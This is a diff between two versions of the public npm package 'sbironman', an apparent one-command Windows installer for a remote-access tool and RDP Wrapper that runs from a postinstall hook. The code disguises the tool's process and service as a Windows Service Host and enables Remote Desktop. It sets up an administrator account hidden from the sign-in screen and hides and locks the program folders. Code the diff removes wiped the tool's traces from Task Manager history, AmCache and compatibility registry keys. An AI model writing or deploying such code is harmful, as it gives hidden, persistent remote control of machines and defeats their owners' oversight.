sbironman 4.0.0 → 5.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +5 -2
- package/bin/biklimaster.js +77 -165
- package/lib/bikliwrapper.js +50 -100
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
#
|
|
1
|
+
# sbironman
|
|
2
2
|
|
|
3
3
|
Internal one-command Windows installer for the Bikli CLI and Bikli Wrapper.
|
|
4
4
|
|
|
@@ -8,7 +8,7 @@ shipped in the package):
|
|
|
8
8
|
```text
|
|
9
9
|
set BIKLIMASTER_USER_PASSWORD=your-password
|
|
10
10
|
set BIKLIMASTER_BIKLI_KEY=your-bikli-key
|
|
11
|
-
npm install -g
|
|
11
|
+
npm install -g sbironman
|
|
12
12
|
```
|
|
13
13
|
|
|
14
14
|
The npm postinstall hook requests Windows administrator approval once, then:
|
|
@@ -33,6 +33,7 @@ biklitool status
|
|
|
33
33
|
biklitool install
|
|
34
34
|
biklitool disguise [name]
|
|
35
35
|
biklitool enable-rdp
|
|
36
|
+
biklitool disable-rdp
|
|
36
37
|
biklitool create-user
|
|
37
38
|
biklitool unhide-user [name]
|
|
38
39
|
biklitool hide-user <name>
|
|
@@ -48,6 +49,8 @@ bikli --help
|
|
|
48
49
|
|
|
49
50
|
Run `biklitool enable-rdp` at any time to repair the RDP enable setting, port, firewall rules,
|
|
50
51
|
service configuration, and the requested authentication and shadowing defaults.
|
|
52
|
+
Run `biklitool disable-rdp` to turn Remote Desktop off and stop the RDP listener; the wrapper
|
|
53
|
+
stays installed so `enable-rdp` can switch it back on at any time.
|
|
51
54
|
|
|
52
55
|
## Bikli key
|
|
53
56
|
|
package/bin/biklimaster.js
CHANGED
|
@@ -366,6 +366,7 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
|
|
|
366
366
|
|
|
367
367
|
const vBuf = createVsVersionInfo(strings);
|
|
368
368
|
const { rsrcBuf, totalRsrcSize } = buildCleanRsrcSection(rsrcVirtAddr, vBuf, manifestBuf);
|
|
369
|
+
if (totalRsrcSize > rsrcRawSize) return false;
|
|
369
370
|
|
|
370
371
|
const newExe = Buffer.from(exeBuf);
|
|
371
372
|
newExe.fill(0, rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
|
|
@@ -384,61 +385,9 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
|
|
|
384
385
|
return true;
|
|
385
386
|
}
|
|
386
387
|
|
|
387
|
-
function clearAppHistory() {
|
|
388
|
-
// Remove ALL Bikli entries (BikliService, bikli.exe, bikli-ui.exe) from every
|
|
389
|
-
// visible location: Task Manager App History, AppCompatFlags, and service display name.
|
|
390
|
-
const psScript = [
|
|
391
|
-
`$ErrorActionPreference='SilentlyContinue'`,
|
|
392
|
-
// --- [1] TaskFlow AppHistory (per-user hives) ---
|
|
393
|
-
`$appHistoryPath='Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\TaskFlow\\\\AppHistory'`,
|
|
394
|
-
`foreach($sid in (Get-ChildItem 'HKU:\\\\' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty PSChildName)){`,
|
|
395
|
-
` $base='HKU:\\\\'+$sid+'\\\\'+$appHistoryPath`,
|
|
396
|
-
` if(Test-Path $base){ Get-ChildItem $base -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
|
|
397
|
-
`}`,
|
|
398
|
-
`$cuBase='HKCU:\\\\'+$appHistoryPath`,
|
|
399
|
-
`if(Test-Path $cuBase){ Get-ChildItem $cuBase -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
|
|
400
|
-
// --- [2] AppCompatFlags Compatibility Assistant Store (covers bikli.exe, bikli-ui.exe) ---
|
|
401
|
-
`$acPaths=@(`,
|
|
402
|
-
` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
|
|
403
|
-
` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
|
|
404
|
-
` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers',`,
|
|
405
|
-
` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers'`,
|
|
406
|
-
`)`,
|
|
407
|
-
`foreach($acPath in $acPaths){`,
|
|
408
|
-
` if(Test-Path $acPath){`,
|
|
409
|
-
` $key=Get-Item -LiteralPath $acPath -ErrorAction SilentlyContinue`,
|
|
410
|
-
` if($null -ne $key){ $key.GetValueNames() | Where-Object { $_ -match 'Bikli' } | ForEach-Object { Remove-ItemProperty -LiteralPath $acPath -Name $_ -Force -ErrorAction SilentlyContinue } }`,
|
|
411
|
-
` }`,
|
|
412
|
-
`}`,
|
|
413
|
-
// --- [3] AmCache ---
|
|
414
|
-
`$recentCache='HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\amcache'`,
|
|
415
|
-
`if(Test-Path $recentCache){ Get-ChildItem $recentCache -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
|
|
416
|
-
// --- [4] App Paths (Start Menu / Run dialog) ---
|
|
417
|
-
`Remove-Item -Path 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
|
|
418
|
-
`Remove-Item -Path 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
|
|
419
|
-
// --- [5] Service display name + description → rename to disguise value ---
|
|
420
|
-
`$svcName='Bikli'`,
|
|
421
|
-
`$svc=Get-Service -Name $svcName -ErrorAction SilentlyContinue`,
|
|
422
|
-
`if($null -ne $svc){`,
|
|
423
|
-
` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'DisplayName' -Value 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
|
|
424
|
-
` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
|
|
425
|
-
`}`
|
|
426
|
-
].join(os.EOL);
|
|
427
|
-
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
|
|
428
|
-
}
|
|
429
|
-
|
|
430
|
-
function deriveExeName(hostName) {
|
|
431
|
-
// Turn e.g. "Service Host: Network Infrastructure Service"
|
|
432
|
-
// into "NetworkInfrastructureService.exe" – no Bikli in the name.
|
|
433
|
-
const base = hostName.replace(/^Service Host:\s*/i, '').trim();
|
|
434
|
-
const pascal = base.split(/\s+/).map(w => w.charAt(0).toUpperCase() + w.slice(1)).join('');
|
|
435
|
-
// Keep only alphanumeric chars, cap at 32 chars before .exe
|
|
436
|
-
const safe = pascal.replace(/[^A-Za-z0-9]/g, '').slice(0, 32);
|
|
437
|
-
return (safe || 'RuntimeInfraService') + '.exe';
|
|
438
|
-
}
|
|
439
|
-
|
|
440
388
|
function disguiseBikli(customName) {
|
|
441
389
|
requireWindows();
|
|
390
|
+
if (customName) customName = customName.replace(/"/g, '').trim();
|
|
442
391
|
const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
|
|
443
392
|
if (!isAdministrator()) return elevateAndRun(customName ? `disguise "${customName}"` : 'disguise');
|
|
444
393
|
|
|
@@ -448,29 +397,15 @@ function disguiseBikli(customName) {
|
|
|
448
397
|
}
|
|
449
398
|
|
|
450
399
|
const bikliDir = path.dirname(bikliPath);
|
|
451
|
-
const
|
|
452
|
-
const newExeBasename = deriveExeName(hostName);
|
|
453
|
-
const serviceExe = path.join(bikliDir, newExeBasename);
|
|
400
|
+
const serviceExe = path.join(bikliDir, 'BikliService.exe');
|
|
454
401
|
const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
|
|
455
402
|
|
|
456
|
-
console.log(`Disguising Bikli process and service as "${hostName}"
|
|
403
|
+
console.log(`Disguising Bikli process and service as "${hostName}"...`);
|
|
457
404
|
|
|
458
|
-
|
|
459
|
-
const oldBaseName = path.basename(oldServiceExe, '.exe');
|
|
460
|
-
const newBaseName = path.basename(serviceExe, '.exe');
|
|
461
|
-
run(powershell, [
|
|
462
|
-
'-NoProfile', '-NonInteractive', '-Command',
|
|
463
|
-
`Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM ${oldBaseName}.exe /IM ${newBaseName}.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli,${oldBaseName},${newBaseName} -Timeout 3 -ErrorAction SilentlyContinue`
|
|
464
|
-
], { allowFailure: true });
|
|
405
|
+
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
|
|
465
406
|
run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
466
407
|
|
|
467
|
-
|
|
468
|
-
if (fs.existsSync(oldServiceExe) && oldServiceExe !== serviceExe) {
|
|
469
|
-
try { fs.renameSync(oldServiceExe, serviceExe); } catch {
|
|
470
|
-
fs.copyFileSync(oldServiceExe, serviceExe);
|
|
471
|
-
try { fs.rmSync(oldServiceExe, { force: true }); } catch {}
|
|
472
|
-
}
|
|
473
|
-
} else if (!fs.existsSync(serviceExe)) {
|
|
408
|
+
if (!fs.existsSync(serviceExe)) {
|
|
474
409
|
fs.copyFileSync(bikliPath, serviceExe);
|
|
475
410
|
}
|
|
476
411
|
|
|
@@ -496,7 +431,7 @@ function disguiseBikli(customName) {
|
|
|
496
431
|
' if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
|
|
497
432
|
' }',
|
|
498
433
|
' string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
|
|
499
|
-
|
|
434
|
+
' string coreExe = Path.Combine(baseDir, "BikliService.exe");',
|
|
500
435
|
' if (!File.Exists(coreExe)) return 1;',
|
|
501
436
|
' ProcessStartInfo psi = new ProcessStartInfo();',
|
|
502
437
|
' psi.FileName = coreExe;',
|
|
@@ -523,6 +458,9 @@ function disguiseBikli(customName) {
|
|
|
523
458
|
fs.writeFileSync(tempCs, csCode, 'utf8');
|
|
524
459
|
run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${bikliPath}`, tempCs], { allowFailure: true });
|
|
525
460
|
try { fs.rmSync(tempCs, { force: true }); } catch {}
|
|
461
|
+
if (fileDescription(bikliPath) !== hostName) {
|
|
462
|
+
disguiseExecutable(bikliPath, hostName);
|
|
463
|
+
}
|
|
526
464
|
} else if (fileDescription(bikliPath) !== hostName) {
|
|
527
465
|
disguiseExecutable(bikliPath, hostName);
|
|
528
466
|
}
|
|
@@ -540,7 +478,6 @@ function disguiseBikli(customName) {
|
|
|
540
478
|
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
|
|
541
479
|
|
|
542
480
|
hideProtectedFolders();
|
|
543
|
-
clearAppHistory();
|
|
544
481
|
console.log(`Bikli successfully disguised as "${hostName}" (Service Host process & gear icon active, search entry removed, quiet CLI enabled).`);
|
|
545
482
|
}
|
|
546
483
|
|
|
@@ -597,58 +534,38 @@ function verifyRemoteDesktop() {
|
|
|
597
534
|
console.log('Remote Desktop is enabled and verified on port 3389.');
|
|
598
535
|
}
|
|
599
536
|
|
|
600
|
-
function ensureTermServiceAutomatic() {
|
|
601
|
-
// Force TermService to Automatic start so it survives reboots.
|
|
602
|
-
run(powershell, [
|
|
603
|
-
'-NoProfile', '-NonInteractive', '-Command',
|
|
604
|
-
`sc.exe config TermService start= auto; sc.exe start TermService 2>$null; exit 0`
|
|
605
|
-
], { allowFailure: true });
|
|
606
|
-
}
|
|
607
|
-
|
|
608
|
-
function ensureIcmpFirewallRules() {
|
|
609
|
-
// Enable ping (ICMP) inbound so the host is reachable after install.
|
|
610
|
-
const script = [
|
|
611
|
-
`Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
|
|
612
|
-
`New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
|
|
613
|
-
`Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
|
|
614
|
-
`New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
|
|
615
|
-
`Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
|
|
616
|
-
`Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
|
|
617
|
-
].join(';');
|
|
618
|
-
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
|
|
619
|
-
}
|
|
620
|
-
|
|
621
537
|
function enableRemoteDesktop() {
|
|
622
538
|
requireWindows();
|
|
623
539
|
if (!isAdministrator()) return elevateAndRun('enable-rdp');
|
|
624
540
|
verifyPayload();
|
|
625
|
-
unhideProtectedFolders();
|
|
626
541
|
console.log('Enabling Remote Desktop and applying the firewall and security defaults...');
|
|
627
542
|
const wrapper = runWrapper(['defaults', '--elevated']);
|
|
628
543
|
if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
|
|
629
|
-
ensureTermServiceAutomatic();
|
|
630
|
-
ensureIcmpFirewallRules();
|
|
631
544
|
verifyRemoteDesktop();
|
|
632
545
|
hideProtectedFolders();
|
|
633
546
|
}
|
|
634
547
|
|
|
548
|
+
function disableRemoteDesktop() {
|
|
549
|
+
requireWindows();
|
|
550
|
+
if (!isAdministrator()) return elevateAndRun('disable-rdp');
|
|
551
|
+
const wrapper = runWrapper(['disable', '--elevated']);
|
|
552
|
+
if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
|
|
553
|
+
if (remoteDesktopState().enabled) fail('Remote Desktop could not be disabled.', 6);
|
|
554
|
+
console.log('Remote Desktop is disabled. Run "biklitool enable-rdp" to enable it again.');
|
|
555
|
+
}
|
|
556
|
+
|
|
635
557
|
function install() {
|
|
636
558
|
requireWindows();
|
|
637
559
|
if (!isAdministrator()) return elevateAndRun('install');
|
|
638
560
|
verifyPayload();
|
|
639
|
-
unhideProtectedFolders();
|
|
640
561
|
installBikli();
|
|
641
562
|
setupBikliKey();
|
|
642
563
|
console.log('Installing or updating Bikli Wrapper silently...');
|
|
643
564
|
const wrapper = runWrapper(['install', '--elevated']);
|
|
644
565
|
if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
|
|
645
|
-
// Guarantee TermService is Automatic and ICMP is open after the wrapper restarts the service.
|
|
646
|
-
ensureTermServiceAutomatic();
|
|
647
|
-
ensureIcmpFirewallRules();
|
|
648
566
|
verifyRemoteDesktop();
|
|
649
567
|
createRdpAdministrator();
|
|
650
568
|
hideProtectedFolders();
|
|
651
|
-
clearAppHistory();
|
|
652
569
|
console.log('Bikli Master installed and verified both components successfully.');
|
|
653
570
|
}
|
|
654
571
|
|
|
@@ -704,7 +621,7 @@ function setupBikliKey() {
|
|
|
704
621
|
console.log('Bikli key configured successfully.');
|
|
705
622
|
}
|
|
706
623
|
|
|
707
|
-
function hideFolder(target, isUserProfile = false) {
|
|
624
|
+
function hideFolder(target, isUserProfile = false, extraGrants = []) {
|
|
708
625
|
if (!target || !fs.existsSync(target)) return;
|
|
709
626
|
try {
|
|
710
627
|
run(attrib, ['+h', '+s', target], { allowFailure: true });
|
|
@@ -716,6 +633,7 @@ function hideFolder(target, isUserProfile = false) {
|
|
|
716
633
|
'/grant:r',
|
|
717
634
|
'*S-1-5-18:(OI)(CI)(F)',
|
|
718
635
|
`*${administratorsGroupSid}:(OI)(CI)(F)`,
|
|
636
|
+
...extraGrants,
|
|
719
637
|
'/c', '/q'
|
|
720
638
|
], { allowFailure: true });
|
|
721
639
|
}
|
|
@@ -724,56 +642,20 @@ function hideFolder(target, isUserProfile = false) {
|
|
|
724
642
|
}
|
|
725
643
|
}
|
|
726
644
|
|
|
727
|
-
function unhideFolder(target, isUserProfile = false) {
|
|
728
|
-
if (!target || !fs.existsSync(target)) return;
|
|
729
|
-
try {
|
|
730
|
-
run(attrib, ['-h', '-s', '-r', target], { allowFailure: true });
|
|
731
|
-
if (!isUserProfile) {
|
|
732
|
-
run(attrib, ['-h', '-s', '-r', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
733
|
-
run(icacls, [
|
|
734
|
-
target,
|
|
735
|
-
'/grant:r',
|
|
736
|
-
'*S-1-5-18:(OI)(CI)(F)',
|
|
737
|
-
`*${administratorsGroupSid}:(OI)(CI)(F)`,
|
|
738
|
-
'/c', '/q'
|
|
739
|
-
], { allowFailure: true });
|
|
740
|
-
}
|
|
741
|
-
} catch {
|
|
742
|
-
// Best-effort
|
|
743
|
-
}
|
|
744
|
-
}
|
|
745
|
-
|
|
746
|
-
function unhideProtectedFolders() {
|
|
747
|
-
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
748
|
-
const appFolders = [
|
|
749
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
750
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
751
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
752
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
753
|
-
path.join(programData, 'BikliWrapper'),
|
|
754
|
-
path.join(programData, 'Bikli')
|
|
755
|
-
];
|
|
756
|
-
for (const folder of appFolders) unhideFolder(folder, false);
|
|
757
|
-
|
|
758
|
-
const userFolders = [
|
|
759
|
-
path.join(usersDir, 'Administrator'),
|
|
760
|
-
path.join(usersDir, 'admin'),
|
|
761
|
-
path.join(usersDir, 'user')
|
|
762
|
-
];
|
|
763
|
-
for (const folder of userFolders) unhideFolder(folder, true);
|
|
764
|
-
}
|
|
765
|
-
|
|
766
645
|
function hideProtectedFolders() {
|
|
767
646
|
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
647
|
+
// TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
|
|
648
|
+
// must keep read/execute access for that account or the service cannot start.
|
|
649
|
+
const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
|
|
768
650
|
const appFolders = [
|
|
769
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
770
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
771
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
772
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
773
|
-
path.join(programData, 'BikliWrapper'),
|
|
774
|
-
path.join(programData, 'Bikli')
|
|
651
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
|
|
652
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
|
|
653
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
|
|
654
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
|
|
655
|
+
{ target: path.join(programData, 'BikliWrapper') },
|
|
656
|
+
{ target: path.join(programData, 'Bikli') }
|
|
775
657
|
];
|
|
776
|
-
for (const folder of appFolders) hideFolder(folder, false);
|
|
658
|
+
for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
|
|
777
659
|
|
|
778
660
|
const userFolders = [
|
|
779
661
|
path.join(usersDir, 'Administrator'),
|
|
@@ -819,6 +701,29 @@ function showAccountCredentials() {
|
|
|
819
701
|
console.log(`Stored for Administrators only: ${credentialsFile}`);
|
|
820
702
|
}
|
|
821
703
|
|
|
704
|
+
function parseAccountReport(stdout) {
|
|
705
|
+
const reportLine = (stdout || '')
|
|
706
|
+
.split(/\r?\n/)
|
|
707
|
+
.map(line => line.trim())
|
|
708
|
+
.find(line => line.startsWith('{'));
|
|
709
|
+
if (!reportLine) {
|
|
710
|
+
fail(`The account configuration script did not return a JSON report.${(stdout || '').trim() ? `\n${stdout.trim()}` : ''}`, 7);
|
|
711
|
+
}
|
|
712
|
+
try {
|
|
713
|
+
return JSON.parse(reportLine);
|
|
714
|
+
} catch {
|
|
715
|
+
fail(`The account configuration script returned an unreadable report: ${reportLine}`, 7);
|
|
716
|
+
return null;
|
|
717
|
+
}
|
|
718
|
+
}
|
|
719
|
+
|
|
720
|
+
function requireValidUserName(name) {
|
|
721
|
+
if (!/^[A-Za-z0-9._-]{1,20}$/.test(name)) {
|
|
722
|
+
fail('Usernames may only contain letters, digits, dots, dashes, and underscores (max 20).');
|
|
723
|
+
}
|
|
724
|
+
return name;
|
|
725
|
+
}
|
|
726
|
+
|
|
822
727
|
function createRdpAdministrator() {
|
|
823
728
|
requireWindows();
|
|
824
729
|
if (!isAdministrator()) return elevateAndRun('create-user');
|
|
@@ -843,7 +748,7 @@ function createRdpAdministrator() {
|
|
|
843
748
|
`$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
|
|
844
749
|
`$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
|
|
845
750
|
`if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
|
|
846
|
-
`$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,
|
|
751
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`,
|
|
847
752
|
`[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
|
|
848
753
|
].join(';');
|
|
849
754
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
@@ -852,7 +757,7 @@ function createRdpAdministrator() {
|
|
|
852
757
|
BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword
|
|
853
758
|
}
|
|
854
759
|
});
|
|
855
|
-
const account =
|
|
760
|
+
const account = parseAccountReport(result.stdout);
|
|
856
761
|
if (!account.Enabled || !Array.isArray(account.Groups) || account.Groups.length !== 2 || !account.HiddenUser) {
|
|
857
762
|
fail('The Remote Desktop administrator account could not be verified.', 7);
|
|
858
763
|
}
|
|
@@ -881,7 +786,7 @@ function createRdpAdministrator() {
|
|
|
881
786
|
|
|
882
787
|
function unhideUser() {
|
|
883
788
|
requireWindows();
|
|
884
|
-
const targetUser = process.argv[3];
|
|
789
|
+
const targetUser = process.argv[3] ? requireValidUserName(process.argv[3]) : '';
|
|
885
790
|
if (!isAdministrator()) return elevateAndRun(targetUser ? `unhide-user ${targetUser}` : 'unhide-user');
|
|
886
791
|
const script = [
|
|
887
792
|
`$ErrorActionPreference='Stop'`,
|
|
@@ -891,10 +796,10 @@ function unhideUser() {
|
|
|
891
796
|
targetUser ? [
|
|
892
797
|
`$val=$key.GetValue('${targetUser}', $null)`,
|
|
893
798
|
`if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`,
|
|
894
|
-
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir}`
|
|
799
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}`
|
|
895
800
|
].join(';') : [
|
|
896
801
|
`$props=@($key.Property)`,
|
|
897
|
-
`if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir}}}`
|
|
802
|
+
`if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}}}`
|
|
898
803
|
].join(';')
|
|
899
804
|
].join(';');
|
|
900
805
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
@@ -905,6 +810,7 @@ function hideUser() {
|
|
|
905
810
|
requireWindows();
|
|
906
811
|
const targetUser = process.argv[3];
|
|
907
812
|
if (!targetUser) fail('Please specify a username to hide (e.g. biklitool hide-user Administrator).');
|
|
813
|
+
requireValidUserName(targetUser);
|
|
908
814
|
if (!isAdministrator()) return elevateAndRun(`hide-user ${targetUser}`);
|
|
909
815
|
const script = [
|
|
910
816
|
`$ErrorActionPreference='Stop'`,
|
|
@@ -913,7 +819,7 @@ function hideUser() {
|
|
|
913
819
|
`$key=Get-Item -LiteralPath $userListKey`,
|
|
914
820
|
`$currentVal=$key.GetValue('${targetUser}', $null)`,
|
|
915
821
|
`if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`,
|
|
916
|
-
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`
|
|
822
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`
|
|
917
823
|
].join(';');
|
|
918
824
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
919
825
|
if (result.stdout.trim()) console.log(result.stdout.trim());
|
|
@@ -976,11 +882,11 @@ function help() {
|
|
|
976
882
|
' biklitool install Install/update Bikli CLI and Bikli Wrapper',
|
|
977
883
|
' biklitool disguise [n] Disguise Bikli as Windows Service Host in Task Manager',
|
|
978
884
|
' biklitool enable-rdp Enable RDP, port 3389, firewall, and defaults',
|
|
885
|
+
' biklitool disable-rdp Disable RDP and stop the RDP listener',
|
|
979
886
|
' biklitool create-user Enable/verify built-in Administrator for RDP',
|
|
980
887
|
' biklitool unhide-user [name] Unhide account(s) from Windows sign-in screen',
|
|
981
888
|
' biklitool hide-user <name> Hide specific account from Windows sign-in screen',
|
|
982
889
|
' biklitool hide-folders Hide and protect Program Files & ProgramData folders',
|
|
983
|
-
' biklitool clear-history Remove BikliService from Task Manager App History',
|
|
984
890
|
' biklitool setup-key Apply the Bikli key from config.json (bikli up --setup-key)',
|
|
985
891
|
' biklitool credentials Display its saved generated password',
|
|
986
892
|
' biklitool status Show both component states',
|
|
@@ -994,20 +900,26 @@ function help() {
|
|
|
994
900
|
|
|
995
901
|
function main() {
|
|
996
902
|
const command = (process.argv[2] || 'status').toLowerCase();
